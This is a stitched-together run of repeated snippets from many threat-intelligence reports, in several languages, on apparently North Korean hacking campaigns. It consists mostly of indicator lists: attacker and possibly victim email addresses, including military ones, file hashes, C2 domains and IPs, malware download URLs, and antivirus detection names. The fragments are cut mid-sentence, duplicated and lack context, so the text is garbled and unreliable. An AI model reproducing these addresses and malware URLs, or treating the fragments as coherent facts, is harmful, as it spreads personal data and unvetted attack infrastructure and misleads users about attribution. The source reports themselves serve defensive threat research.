to banks, using employee specific details obtained from LinkedIn by simply…","…Received: from [127.0.1.1] (unknown [211.197.11.18]) (Authenticated sender: webadmin@smellisgood.top) by nl-srv-smtpout1.hostinger.io ([Hostinger Mail System]) with ESMTPSA id 또한, 코드 내부에는 공격 대상자가 해당 이메일을 열람하는지 확인하기 위해 다음과 같은…","…file up/download using daum mail email id : webclean-center@daum.net pwd : *********** MMF Read & File Upalod File Download Conclusion 자세히 쓰고싶었으나 업무가 밀려 자세히 못씀.…","…F024FF4176F0036F97EBC95DECFD1D5E 3844EC6EC70347913BD1156F8CD159B8 Emails Brambul sends stolen credentials to whiat1001@gmail.com johnS203@yahoo.com xiake722@gmail.com Brambul Brute-Force Password List See…","…johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr trungvo5131993@gmail.com tttsssuuu@outlook.kr whitewolf20000312@gmail.com 이 글 공유하기 Facebook LinkedIn Email…","…johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr trungvo5131993@gmail.com tttsssuuu@outlook.kr whitewolf20000312@gmail.com 작성자.…","…'given_name' : 'widy' , 'surname' : 'ket' , 'familiar_name' : 'widy' , 'display_name' : 'widy ket' , 'abbreviated_name' : 'WK' } email : widyket02122@gmail.com email_verified : True disabled : False country : US locale : en referral_link :…","…, \"me\" : true, \"permissionId\" : \"16638273407817846451\" , \"emailAddress\" : \"widyket021701@gmail.com\" } ], \"size\" : \"40\" { \"name\" : \"rrr__2025_03_10__22:47:02_Result_log.txt\" , \"mimeType\" : \"text/plain\" , \"createdTime\" :…","…peterstewart0326@gmail.com navercomb.tech 12/2/2021 14:53 Kil Nyeon Kim kimkl0222@hotmail.com navreteam.tech 11/15/2021 9:26 William Ali williama824@hotmail.com navvsecurity.tech 10/6/2021 0:46 junseog son specialcnc05@gmail.com We have discovered 7 unique emails in the WHOIS that we believe are…","…- prettysophia53 - prettysophia54 - prettysophia55 - prettysophia56 - prettysophia57 - tosarang87@gmail.com - winpos1000@zmail.ru - winpos1001@zmail.ru - winpos1002@zmail.ru - winpos1003@zmail.ru - winpos1004@zmail.ru - xiangangxu88@hotmail.com -…","…- prettysophia54 - prettysophia55 - prettysophia56 - prettysophia57 - tosarang87@gmail.com - winpos1000@zmail.ru - winpos1001@zmail.ru - winpos1002@zmail.ru - winpos1003@zmail.ru - winpos1004@zmail.ru - xiangangxu88@hotmail.com - zum36084@gmail.com -…","…- prettysophia55 - prettysophia56 - prettysophia57 - tosarang87@gmail.com - winpos1000@zmail.ru - winpos1001@zmail.ru - winpos1002@zmail.ru - winpos1003@zmail.ru - winpos1004@zmail.ru - xiangangxu88@hotmail.com - zum36084@gmail.com - zum36084@zmail.ru -…","…- prettysophia57 - tosarang87@gmail.com - winpos1000@zmail.ru - winpos1001@zmail.ru - winpos1002@zmail.ru - winpos1003@zmail.ru - winpos1004@zmail.ru - xiangangxu88@hotmail.com - zum36084@gmail.com - zum36084@zmail.ru - zum36085@zmail.ru 2016년 초…","…- tosarang87@gmail.com - winpos1000@zmail.ru - winpos1001@zmail.ru - winpos1002@zmail.ru - winpos1003@zmail.ru - winpos1004@zmail.ru - xiangangxu88@hotmail.com - zum36084@gmail.com - zum36084@zmail.ru - zum36085@zmail.ru 2016년 초 공격자는 'zum36084@gmail.com',…","…durch ausländische Nachrichtendienste sowie von Extremismus zuständig und steht als vertraulicher Ansprechpartner zur Verfügung. wirtschaftsschutz@bfv.bund.de +49(0)228-99/792-6000 Mehr zum Thema: Joint Cyber Security Advisory (Deutsch) PDF, 3MB, Datei ist nicht barrierefrei…","…“invoice_nerolpy@kakao.com” “naver-no-reply@kakao.com” “www.invoice@kakao.com” “www.navercorp@kakao.com” “www.naver.reply@kakao.com” “invoice_hometax@kakao.com” “navercorp-rep1y@daum.net”…","…“invoice_nerolpy@kakao.com” “naver-no-reply@kakao.com” “www.invoice@kakao.com” “www.navercorp@kakao.com” “www.naver.reply@kakao.com” “invoice_hometax@kakao.com” “navercorp-rep1y@daum.net” “invoice.norep1y@daum.net” “nonghyupcorp@daum.net”…","…“invoice_nerolpy@kakao.com” “naver-no-reply@kakao.com” “www.invoice@kakao.com” “www.navercorp@kakao.com” “www.naver.reply@kakao.com” “invoice_hometax@kakao.com” “navercorp-rep1y@daum.net” “invoice.norep1y@daum.net”…","…- winpos1000@zmail.ru - winpos1001@zmail.ru - winpos1002@zmail.ru - winpos1003@zmail.ru - winpos1004@zmail.ru - xiangangxu88@hotmail.com - zum36084@gmail.com - zum36084@zmail.ru - zum36085@zmail.ru 2016년 초 공격자는 'zum36084@gmail.com', 'zum36084@zmail.ru',…","…the attacker’s browsing patterns but also expose numerous email addresses he interacted with (examples include jeder97271@wuzak.com, xocaw75424@weiby.com, and many more).…","…sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me urusa4400@proton.me void0824@proton.me xufeng.wangsui@hotmail.com yaosiyaosi26@hotmail.com youth3920@outlook.com zhejiong.hangjou@hotmail.com Author.…","…taini7700@outlook.com taini7700@proton.me urusa4400@proton.me void0824@proton.me xufeng.wangsui@hotmail.com yaosiyaosi26@hotmail.com youth3920@outlook.com zhejiong.hangjou@hotmail.com Author.…","…c.mil.kr_ZGlkY2RiYUBkY2MubWlsLmty jhcgod88@dcc.mil.kr_amhjZ29k0DhAZGNjLm1pbC5rcg== chanchan0616@dcc.mil.kr_Y2hhbmNoYW4wNjE2QGRjYy5taWwua3I= yib100@dcc.mil.kr_eWliMTAwQGRjYy5taWwua3I= Dsc808@dcc.mil.kr_RHNj0DA4QGRjYy5taWwua3I= Base64 부분이 해당 방첩사 메일로 추정되는 목록 2.인프라 구축 서버:VPS 경로…","…on analyzing the tactics, techniques, and procedures (TTPs) employed by cyber attackers, leveraging threat intelligence data. Sangyoon Yoo-yoosy@nshc.net Senior Researcher, Threat Research Lab at NSHC Sangyoon Yoo is a seasoned professional in the field of cyber threat intelligence and…","…• hong_xiao@naver.com • sm.carls0000@gmail.co m • ds1kde@daum.net • yoon.dasl@yahoo.com • syshim10@mofa.lat Websites: • sovershopp.online • onerearth.xyz • mofa.lat…","…taini7700@proton.me urusa4400@proton.me void0824@proton.me xufeng.wangsui@hotmail.com yaosiyaosi26@hotmail.com youth3920@outlook.com zhejiong.hangjou@hotmail.com Author.…","…같다. – tgb110117@hotmail.com – nuttumcg@hotmail.com – qet11@hotmail.com – schyong1213@hotmail.com – mysun1968@hotmail.com – ytkr2013@hotmail.com – jkl110112@hotmail.com – rsh1213@hotmail.com – suhopack@aol.com – unichjid@daum.net – … 위에서 언급된 메일 주소 중, 아래의 [그림-2]는 불가리아 무료…","…we are dubbing ‘Fractured Block’. Initial Attack On December 13, 2017, a spear phishing email was sent from the email address of yuri.sidorav@yandex.ru to a high ranking individual within a British government agency.…","…urusa4400@proton.me void0824@proton.me xufeng.wangsui@hotmail.com yaosiyaosi26@hotmail.com youth3920@outlook.com zhejiong.hangjou@hotmail.com Author.…","…IoA(Indicators of Attack) 기반으로 조사를 하면 공격자는 마치 'Google 계정팀' 처럼 'zum36084@gmail.com' 이메일을 설정한 것을 알 수 있으며, 처음부터 한글을 사용하고 있다는 것도 확인할 수 있습니다.…","…- winpos1002@zmail.ru - winpos1003@zmail.ru - winpos1004@zmail.ru - xiangangxu88@hotmail.com - zum36084@gmail.com - zum36084@zmail.ru - zum36085@zmail.ru 2016년 초 공격자는 'zum36084@gmail.com', 'zum36084@zmail.ru', 'daum14401@zmail.ru' 등의 이메일을 생성한 후 테스트용 이메일을 발송하는 것이…","…수 있도록 신경 써야 한다. 파일 진단 – Backdoor/Win.Meterpreter.C5427507 (2023.05.15.02) – HackTool/Win.Proxy.C5427508 (2023.05.15.02) MD5 000130a373ea4085b87b97a0c7000c86 6b2062e61bcb46ce5ff19b329ce31b03 URL http://45.58.52.82/cl.exe http://45.58.52.82/up.dat http://45.58.52.82:8443/…","…File Detection – Backdoor/Win.Meterpreter.C5427507 (2023.05.15.02) – HackTool/Win.Proxy.C5427508 (2023.05.15.02) MD5 000130a373ea4085b87b97a0c7000c86 6b2062e61bcb46ce5ff19b329ce31b03 URL http://45.58.52.82/cl.exe http://45.58.52.82/up.dat http://45.58.52.82:8443/…","…확인된 디코이 파일 MD5 000197b52c39d68b0fbaae804e035583 0110e34baf46824b2d976c184d3da8a8 04716c31e7443f052e2e3c1203bd6e5b 047d75bd7dc3616b04e87ffeb727cf59 08160acf08fccecde7b34090db18b321…","…available for purchase on Snort.org . IOCs IOCs for this research can also be found at our GitHub repository here . Hashes HazyLoad 000752074544950ae9020a35ccd77de277f1cd5026b4b9559279dc3b86965eee NineRAT 534f5612954db99c86baa67ef51a3ad88bc21735bce7bb591afa8a4317c35433 ba8cd92cc059232203bcadee260ddbae273fc4c89b18424974955607476982c…","…https://www.sentinelone.com/labs/kimsuky-evolves-reconnaissance-capabilities-in-new-global-campaign/ MD5 00119ed01689e76cb7f33646693ecd6a 7d79901b01075e29d8505e72d225ff52 8536d838dcdd026c57187ec2c3aec0f6 a7ac7d100184078c2aa5645552794c19 URL…","…[References] (1) https://securelist.com/kimsukys-golddragon-cluster-and-its-c2-operations/107258/ MD5 002105e21f1bddf68e59743c440e416a 17daf3ea7b80ee95792d4b3332a3390d 8a5fd1e9c9841ff0253b2a6f1e533d0e b6614471ebf288689d33808c376540e1 URL…","…6ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4 1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3248ff72cc2bfcd05bb161b6a2356 9b7c3c48bcef6330e3086de592b3223eb198744a 85e2453b37602429596c9681a8c58a5c6faf8d0c Domains…","…(2023.11.01.00) Dropper/Script.Generic (2023.11.01.02) Downloader/VBS.Agent (2023.11.09.00) MD5 0040aa9762c2534ac44d9a6ae7024d15 209ac4185dfc1e4d72c035ecb7f98eac 40b7c3bced2975d70359a07c4f110f18 5e5a87d0034e80e6b86a64387779dc2e 64dee04b6e6404c14d10971adf35c3a7…","…(2023.09.12.03) Trojan/Win.SysStealer.R436785 (2021.08.14.00) Backdoor/Win.Akdoor.R493994 (2022.05.24.01) MD5 0054bdfe4cac0cb7a717749f8c08f5f3 4ef5e3ce535f84f975a8212f5630bfe8 a1c59fec34fec1156e7db27ec16121a7 c7b82b4bafb677bf0f4397b0b88ccfa2 d9b15979e76dd5d18c31e62ab9ff7dae…","…MD5 0054bdfe4cac0cb7a717749f8c08f5f3 4ef5e3ce535f84f975a8212f5630bfe8 a1c59fec34fec1156e7db27ec16121a7 c7b82b4bafb677bf0f4397b0b88ccfa2 d9b15979e76dd5d18c31e62ab9ff7dae…","…보고서는 발신자 확인, 출처 불명 파일 열람 자제, 취약한 환경 설정 점검, OS 및 인터넷 브라우저와 V3의 최신 패치와 업데이트를 권고했다. MD5 0080cd81db3244b8ba157ffabc1d30fe 00f7955410783941d527afc12908556a 029628bd99899c750d5537ee637fe3ca 03a830875abc607aa30a621eb84697c8 09bd2f48fcd29a0ed46b099c4d939024…","…317f1027095bc41de8fbcfce2c764ac4 MataDoor sha256 sha1 md5 0085a02b9ba24afd266116df43acbd4f57fc8822af4929e7d17b59f2ceae9418 9320a614916bbfaa31853d785ffe0ed0fc7b54f4 79fc7ed090bc935881e7c242e40071a2…","…출처가 불분명한 파일 열람을 자제하고, 발신자 확인, 취약한 환경 설정 점검, OS와 인터넷 브라우저 패치, V3 최신 업데이트가 필요하다. MD5 0099bf67cfa72030c1c317240441f3b8 01e099f0947d0ef7bcb967063d761fa6 02f87ffe09edad431746660b310956c5 03be987cd4c4e1e788f803ca6e464a29 06b3b6fbf106d46534459d2189aac739…","…system settings, apply patches to their operating systems and web browsers, and ensure V3 is updated to the latest version. MD5 0099bf67cfa72030c1c317240441f3b8 01e099f0947d0ef7bcb967063d761fa6 02f87ffe09edad431746660b310956c5 03be987cd4c4e1e788f803ca6e464a29 06b3b6fbf106d46534459d2189aac739…","…Indicators of Compromise MD5 cf8c0999c148d764667b1a269c28bdcb 80ab98c10c23b7281a2bf1489fc98c0d 4c4abe85a1c68ba8385d2cb928ac5646 00a2952a279f9c84ae71367d5b8990c1 5eac943e23429a77d9766078e760fc0b SHA-256…","…6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 SHA1: 3bda9ca504146ad5558939de9fece0700f57c1c0 MD5: 00a43d64f9b5187a1e1f922b99b09b77 Code signing certificate serial # 9599605970805149948 MsMpEng.exe SHA256:…","…Name midimapper.rs Size 761856 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 00b0cfb59b088b247c97c8fed383c115 SHA1 0cdee734d3a17de0e81b9b2b0b36804d516c3212 SHA256 089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359 SHA512…","…MeshAgent (SHA256): 9757780860ec5637c412a8756f25c56f7d1d89358e447782164ba418def1c64e ChromeUpdate.exe (SHA256): 00bef70cd031a830f2ee1ec4ce750947a9c8838995289ecbb253426cca53d046 More on this topic Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data – From Research…","…주의가 필요하다. 진단명정보 Trojan/Win.VNC (2021.09.16.00) Trojan/Win.TinyNuke (2021.09.16.03) Trojan/Win.HVNC (2021.09.18.01) MD5 00ced88950283d32300eb32a5018dada 088cb0d0628a82e896857de9013075f3 16c0e70e63fcb6e60d6595eacbd8eeba 26eaff22da15256f210762a817e6dec9 4301a75d1fcd9752bd3006e6520f7e73…","…Alias Information Trojan/Win.VNC (2021.09.16.00) Trojan/Win.TinyNuke (2021.09.16.03) Trojan/Win.HVNC (2021.09.18.01) MD5 00ced88950283d32300eb32a5018dada 088cb0d0628a82e896857de9013075f3 16c0e70e63fcb6e60d6595eacbd8eeba 26eaff22da15256f210762a817e6dec9 4301a75d1fcd9752bd3006e6520f7e73…","…to call the malware “ Chinotto “. PDB path The technical specifications in this analysis are based on the Chinotto malware (MD5 00df5bbac9ad059c441e8fef9fefc3c1 ) we discovered from the host investigation.…","…분석 요약 MD5 00dfce9ad207f77397dbbb6791d64a9e 1d475427100ad95edca070d75fa3b267 2c0fbdb97439e079bbd8919c39598508 36d2be6eb548aee37852f7fbf38dcf30 3b76316810d61e114015af617c5d0408…","…확인된 디코이 파일 MD5 00e3a61447fd23e43228c61357cb4466 02af4e78d470551a4e1a16af3668f602 05dffc19ba25d472734030d4bf8e370b 0c6bd107aad6c56119be011241d6ecbf 0d510bcac9d7daebd0ac13ced5243897…","…使用user权限执行后续文件 /stext 执行后续并将结果保存至Tmp 样本二 样本信息 文件名 카뱅과손잡은코인원_비트독주체제무너뜨릴까 [위클리코인리뷰] – 이코노미스트.docx Hash 00e6e9ed4666623860686c123ed334f0 文件上次修改时间 2022-09-27 13:29:28 UTC 文件上传地 KR 样本以加密货币为相关主题针对韩国地区，这也是我们观察到Konni组织自2019年开始针对加密货币行业的后续活动之一。 相关分析…","…Also, V3 should be updated to the latest version so that malware infection can be prevented. MD5 00f27b3cf8817313aafdfc29ff238153 029db651367bb1eac0a85bd826afe420 07010ef323ff1a6efebf9c59f8afb35f 0a5f8bb2aebb296b6a5048ca5b85d8ad 0c0a44de58b0a47b749411a9c2fe178e…","…또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. MD5 00f27b3cf8817313aafdfc29ff238153 029db651367bb1eac0a85bd826afe420 07010ef323ff1a6efebf9c59f8afb35f 0a5f8bb2aebb296b6a5048ca5b85d8ad 0c0a44de58b0a47b749411a9c2fe178e…","…보고서는 발신자 확인, 출처 불명 파일 열람 자제, 취약한 환경 설정 점검, OS 및 인터넷 브라우저와 V3의 최신 패치와 업데이트를 권고했다. MD5 0080cd81db3244b8ba157ffabc1d30fe 00f7955410783941d527afc12908556a 029628bd99899c750d5537ee637fe3ca 03a830875abc607aa30a621eb84697c8 09bd2f48fcd29a0ed46b099c4d939024 URL…","…7dc50e8af0070e544bff5299405cd3b9 61f65bd593ea0e52ac0dfdc6bc9cd73a 461ade40b800ae80a40985594e1ac236 01022facb38cf60b052e65a682f4a127 3288c284561055044c489567fd630ac2 C2 drfeysal.com 185.21.14.249 157.180.88.26 96.62.214.5 178.16.54.208…","…확인된 디코이 파일 MD5 000197b52c39d68b0fbaae804e035583 0110e34baf46824b2d976c184d3da8a8 04716c31e7443f052e2e3c1203bd6e5b 047d75bd7dc3616b04e87ffeb727cf59 08160acf08fccecde7b34090db18b321 URL…","…3eac27 a1f6ae788bf3f9ae17893f3b12d557f69b17fdb4f030ed5e5f66dbb6d2cc9d78 01e7405ddd5545ffb4a57040acc4b6f8b8a5cc328fa8172e1800a1cb49bdf15c 012063e0b7b4f7f3ce50574797112f95492772a9b75fc3d0934a91cc60faa240 Ref https://asec.ahnlab.com/ko/55351/ 本文由 Seebug Paper 发布，如需转载请注明来源。本文地址： https://paper.seebug.org/3012/…","…서비스 악용 공격 주의 보안 권고문: 대한민국 국가사이버안보센터 (NCSC) 바로가기 안랩은 합동 보안 권고문에 공개된 침해지표(IoC) 파일을 다음과 같이 진단한다. 침해지표 MD5 진단명 엔진버전 012d5ffe697e33d81b9e7447f4aa338b 설정 파일로서 진단대상 아님 – 51527624e7921a8157f820eb0ca78e29 Backdoor/JS.Agent.SC182439 2022.11.02.03 582a033da897c967faade386ac30f604…","…(2024.01.12.02) – Backdoor/Win.D2Inv.C5572602 (2024.01.12.02) – Backdoor/Win.D2Inv.C5572603 (2024.01.12.02) MD5 013c4ee2b32511b11ee9540bb0fdb9d1 035cf750c67de0ab2e6228409ac85ea3 19c2decfa7271fa30e48d4750c1d18c1 27ef6917fe32685fdf9b755eb8e97565 2aaa3f1859102aab35519f0d4c1585dd…","…c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4 1dc50bfcab2b…","…31 8b8fa6c4298d83d78e11b52f22a79100 303c5e4842613f7b9ee408e5c6721c00 639b5489d2fb79bcb715905a046d4a54 908d074f69c0bf203ed225557b7827ec 0171338d904381bbf3d1a909a48f4e92 0777781dedd57f8016b7c627411bdf2c 94935397dce29684f384e57f85beeb0a a9a52e2f2afe28778a8537f955ee1310 a58ef1e53920a6e528dc31001f302c7b ad…","…(2019.06.04.03) – Trojan/Win64.Akdoor.R289258 (2019.08.29.00) 행위 진단 – Execution/MDP.Behavior.M10661 MD5 0171c4a0a53188fe6f9c3dfcc5722be6 05bb1d8b7e62f4305d97042f07c64679 0b746394c9d23654577f4c0f2a39a543 0b78347acf76d4bb66212bf9a41b9fb9 0ed86587124f08325cd8f3d3d2556292…","…(2019.06.04.03) – Trojan/Win64.Akdoor.R289258 (2019.08.29.00) Behavior Detection – Execution/MDP.Behavior.M10661 MD5 0171c4a0a53188fe6f9c3dfcc5722be6 05bb1d8b7e62f4305d97042f07c64679 0b746394c9d23654577f4c0f2a39a543 0b78347acf76d4bb66212bf9a41b9fb9 0ed86587124f08325cd8f3d3d2556292…","…확인된 파일명 MD5 01723fd6f54a4106069bc32e4a61d82c 08ea68fba0a2bed73b44d962712d0371 0bbf8df4cf217524d1500884bf7da0bc 0d621ff3b6cf5384643a828f6b34ed6c 0d8cd39cb89536c00cec00cf2e669654…","…확인된 디코이 파일 MD5 0191d9588af4e78211c55d16726fbc8c 08c98fb0b7e0e1cffe8e8d34e2379fd6 0e7000ecc88de21ba0b8c2e3f4bf19e6 16a8aaaf2e3125668e6bfb1705a065f9 23489a6977c905a88d59998d1e42e8d0…","…Identified file names ※ For more information, please refer to the attached file. MD5 0191d9588af4e78211c55d16726fbc8c 08c98fb0b7e0e1cffe8e8d34e2379fd6 0e7000ecc88de21ba0b8c2e3f4bf19e6 16a8aaaf2e3125668e6bfb1705a065f9 23489a6977c905a88d59998d1e42e8d0…","…f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b Hashes detected as CHM_DLOADER.ZCEL-A 01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49 030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863 10cbb5d0974af08b5d4aa9c753e274a81348da9f8bfcaa5193fad08b79650cda…","…또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. MD5 01b58f2ff2c14feed46a0768ea46686d 07766e6e9d9f86775ad564a65af292c1 08e19a0d516d14e564359ee111ed2586 0d2e61c8a5e6280e065b61e75b848c68 12391f66ee33d379108fd649a999e1a0…","…Also, V3 should be updated to the latest version so that malware infections can be prevented. MD5 01b58f2ff2c14feed46a0768ea46686d 07766e6e9d9f86775ad564a65af292c1 08e19a0d516d14e564359ee111ed2586 0d2e61c8a5e6280e065b61e75b848c68 12391f66ee33d379108fd649a999e1a0…","…(console) x86-64, for MS Windows MD5 629b9de3e4b84b4a0aa605a3e9471b31 SHA1 1ef0e1cabd344726b663cec8d9e68f147259da55 SHA256 01c13f825ec6366ac2b6dd80e5589568fa5c8685cb4d924d1408e3d7c178902f SHA512…","…7d0d673fad1f16f153f586035b24c9eb8f6eb0990a6f05cb84525bc9977c99c0 1076743a8e2f650b80c8802f0b196b735ab030ed29471d003f9942ccee494596 01ccbc9ac090be73f12cad8ff83b599b1c689e7ccf9de8102d50512bb767bdec f4275b0d3c4b6f3a165984b862f4890df14cc346013a22412f7288c9fdc65690 4cf87cc8ec18cc288bdebb464ca21e4a03d5a35e5f0d294f33a6791e99640a88 b3f4db…","…These strings are thought to be the MD5 hash for “fool” (dd7b696b96434d2bf07b34f9c125d51d) and “iwan” (01ccce480c60fcdb67b54f4509ffdb56).…","…출처가 불분명한 파일 열람을 자제하고, 발신자 확인, 취약한 환경 설정 점검, OS와 인터넷 브라우저 패치, V3 최신 업데이트가 필요하다. MD5 0099bf67cfa72030c1c317240441f3b8 01e099f0947d0ef7bcb967063d761fa6 02f87ffe09edad431746660b310956c5 03be987cd4c4e1e788f803ca6e464a29 06b3b6fbf106d46534459d2189aac739 URL…","…c2bb35 37feb1d71c6458f71b27dc1ba7cb4366ee30f9ae75b0322775fa70b8753eac27 a1f6ae788bf3f9ae17893f3b12d557f69b17fdb4f030ed5e5f66dbb6d2cc9d78 01e7405ddd5545ffb4a57040acc4b6f8b8a5cc328fa8172e1800a1cb49bdf15c 012063e0b7b4f7f3ce50574797112f95492772a9b75fc3d0934a91cc60faa240 Ref https://asec.ahnlab.com/ko/55351/ 本文由 Seebug…","…IOCs ### File Hashes (SHA-256) **Malicious LNK Files** ``` 0fc425836eb854914525302b59cb8300b709c3e51ad776455a7eb5e29356d4f3 01f1a70bfc0016d3fceefb3b2133977a6a9649ad1c54280fcbbe1a8f9aad2149 c470bef115787abcc9a1d1df9213a072ab2b6daea5eaaa18a4378bca4d37f7df 8fb56f3d63e5dbc55695fe6e043707a933116ace43db4d3d67f42341a6540eef 4555744f4…","…207f386ebeb29e64e6b7fd10929217e1a664f06e6cc503e8798f57e0af2e5267 3f8016bafb700595490b732b92f8501201f0c9af 01f3a22bf3e409154e79e067370ed98a 2ba653faef17d9ea623be1138f6f420be27c95d8ad7ee1ea0d15ae718895176d bf8f0b845c8f13b4386b7204add3c5d2e504b4c6…","…Size 152064 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 ef9db20ab0eebf0b7c55af4ec0b7bced SHA1 0202942d11c994cece943bb873f3af156d820f59 SHA256 20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 SHA512…","…Trojan/Win32.RL_Mimikatz.R366782 (2021.02.18.01) 행위 진단 – Suspicious/MDP.Download.M1004 – Infostealer/MDP.Behavior.M1965 MD5 0211a3160cc5871cbcd4e5514449162b 0a09b7f2317b3d5f057180be6b6d0755 1ffccc23fef2964e9b1747098c19d956 3ec3c9e9a1ad0e6a6bd75d00d616936b 426bb55531e8e3055c942a1a035e46b9…","…(2021.02.18.01) Behavior Detection – Suspicious/MDP.Download.M1004 – Infostealer/MDP.Behavior.M1965 MD5 0211a3160cc5871cbcd4e5514449162b 0a09b7f2317b3d5f057180be6b6d0755 1ffccc23fef2964e9b1747098c19d956 3ec3c9e9a1ad0e6a6bd75d00d616936b 426bb55531e8e3055c942a1a035e46b9…","…Name Ants2Whale Size 77856 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 022298cf16c0c44d7b01b5de2cf84023 SHA1 939ec41183bbe1f4fb65c924323543ee91a35dbf SHA256 d5ac680e14b013e0624470da7f46e84809d00b59a7544f6a42b110cf0e29254e SHA512…","…6f9422 f3e6e8df132155daf1d428dff61f0ca53ecd02015a0a0bbe1ad237519ab3cb58 e87177e07ab9651b48664c3d22334248e012e8a2bab02f65c93fedd79af0a74f 022344029b8bf951ba02b11025fe26c99193cb7c8a482c33862c9bbaa5e5528e 9111d458d5665b1bf463859792e950fe8d8186df9a6a3241360dc11f34d018c2 4bce97eff4430708299a1bb4142b9d359d8adf77a2e1673bf76485df25e6d357 878e37…","…Size 845312 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 c2c5751cdfdbe9fac44337d4cb6e74e4 SHA1 02678efe715ff2658c6a4c2b596046b744a8b222 SHA256 d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5 SHA512…","…Appendix I – Indicators of Compromise File hashes (malicious documents, Trojans, emails, decoys) ScarCruft tools 02681a7fe708f39beb7b3cf1bd557ee9 Bluetooth info harvester C781f5fad9b47232b3606e4d374900cd Installer 032ed0cd234f73865d55103bf4ceaa22…","…部分IOC MD5 487769a19f032e981f33023b2cb7fe10 02685c2ffc30c55667076cfb01033060 484bcb44845946e444f05295cf19e98e 72b3765580c8c8588feccf06f98c090b 5776368e1a8483d11f3ee1c383f193c4 7095811df4cb1ee4135ce605af7f163f 61…","…확인된 파일명 MD5 026a6ed068b12ea1447ca20d4f82452f 032fd60659a82b9b0fefe1eb1728259d 06745253f1daec97554abab0b5ac6568 0efa89b5a10d42c3c4ca2620f28ea770 14d4bc28f58affbb03b0afd2d756c716…","…Data/BIN.Encoded (2023.09.13.00) 행위 진단 – Execution/MDP.Command.M10645 AMSI 진단 – Trojan/Win.Injector.C5485760 MD5 02804d632675b2a3711e19ef217a2877 0d6717c3fa713c5f5f5cb0539b94b84f 0d691673af913dc0942e55548f6e2e4e 116a71365b83cc38211ccfc8059b363e 2dbe8e89310b42e295bfdf3aad955ba9…","…(2023.09.13.00) Behavior Detection – Execution/MDP.Command.M10645 AMSI Detection – Trojan/Win.Injector.C5485760 MD5 02804d632675b2a3711e19ef217a2877 0d6717c3fa713c5f5f5cb0539b94b84f 0d691673af913dc0942e55548f6e2e4e 116a71365b83cc38211ccfc8059b363e 2dbe8e89310b42e295bfdf3aad955ba9…","…(2023.11.27.03) – Backdoor/Win.AppleSeed.C5502219 (2023.10.08.03) 행위 진단 – Execution/MDP.Regsvr32.M4470 MD5 02843206001cd952472abf5ae2b981b2 0cce02d2d835a996ad5dfc0406b44b01 153383634ee35b7db6ab59cde68bf526 1f7d2cbfc75d6eb2c4f2b8b7a3eec1bf 232046aff635f1a5d81e415ef64649b7…","…(2023.11.27.03) – Backdoor/Win.AppleSeed.C5502219 (2023.10.08.03) Behavior Detection – Execution/MDP.Regsvr32.M4470 MD5 02843206001cd952472abf5ae2b981b2 0cce02d2d835a996ad5dfc0406b44b01 153383634ee35b7db6ab59cde68bf526 1f7d2cbfc75d6eb2c4f2b8b7a3eec1bf 232046aff635f1a5d81e415ef64649b7…","…82a3a1a08492 912f875899dd989fbfd64b515060f271546ef94c 49c70c292a634e822300c57305698b56c6275b1c 8f2e6719ce0f29c2c6dbabe5a7bda5906a99481c 0288140be88bc3156b692db2516e38f1f2e3f494 Domains com-port.space com-pow.click com-def.asia com-www.click com-otp.click com-price.space de-file.online com-people.click k…","…is confirmed, our ThreatRecon Team will continue reporting on our findings. Indicators of Compromise (IoCs) Hashes (SHA-256) 028abdf89dc34088c2935e972a97f2d1249efe100f6282979d1771121c45101c 03cd82887b032ce2968bb739d13e1dd0ce3683df5bc1b87edc6872ddcd1dc625 08ac5048e86d368eea55d55781659dc54070debc9d117ed0a5ca8edd499fe1f8 098dd6…","…\"Simple indicator of observable {fe8c0e881593cc3dfa7a66e314b12b322053c67cbc9b606d5a2c0a12f097ef69}\", \"file\": {\"hash\": {\"md5\": [\"029456110598a8fddefbf942d6f50cc4\"], \"sha1\": [\"69f24956fb75beb9b93ef974d873914500e35601\"], \"sha256\": [\"fe8c0e881593cc3dfa7a66e314b12b322053c67cbc9b606d5a2c0a12f097ef69\"]}},…","…Size 5889536 bytes Type PE32+ executable (console) x86-64, for MS Windows MD5 02959903cd988443e5ef519d556b34b0 SHA1 18e346aa6ee6d3faeae21474f33f5a4601a99213 SHA256 1f2cd2bc23556fb84a51467fedb89cbde7a5883f49e3cfd75a241a6f08a42d6d SHA512…","…열람 자제, 취약한 환경 설정 점검, OS 및 인터넷 브라우저와 V3의 최신 패치와 업데이트를 권고했다. MD5 0080cd81db3244b8ba157ffabc1d30fe 00f7955410783941d527afc12908556a 029628bd99899c750d5537ee637fe3ca 03a830875abc607aa30a621eb84697c8 09bd2f48fcd29a0ed46b099c4d939024 URL…","…Size 118784 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 22082079ab45ccc256e73b3a7fd54791 SHA1 029bb15a2ba0bea98934aa2b181e4e76c83282ce SHA256 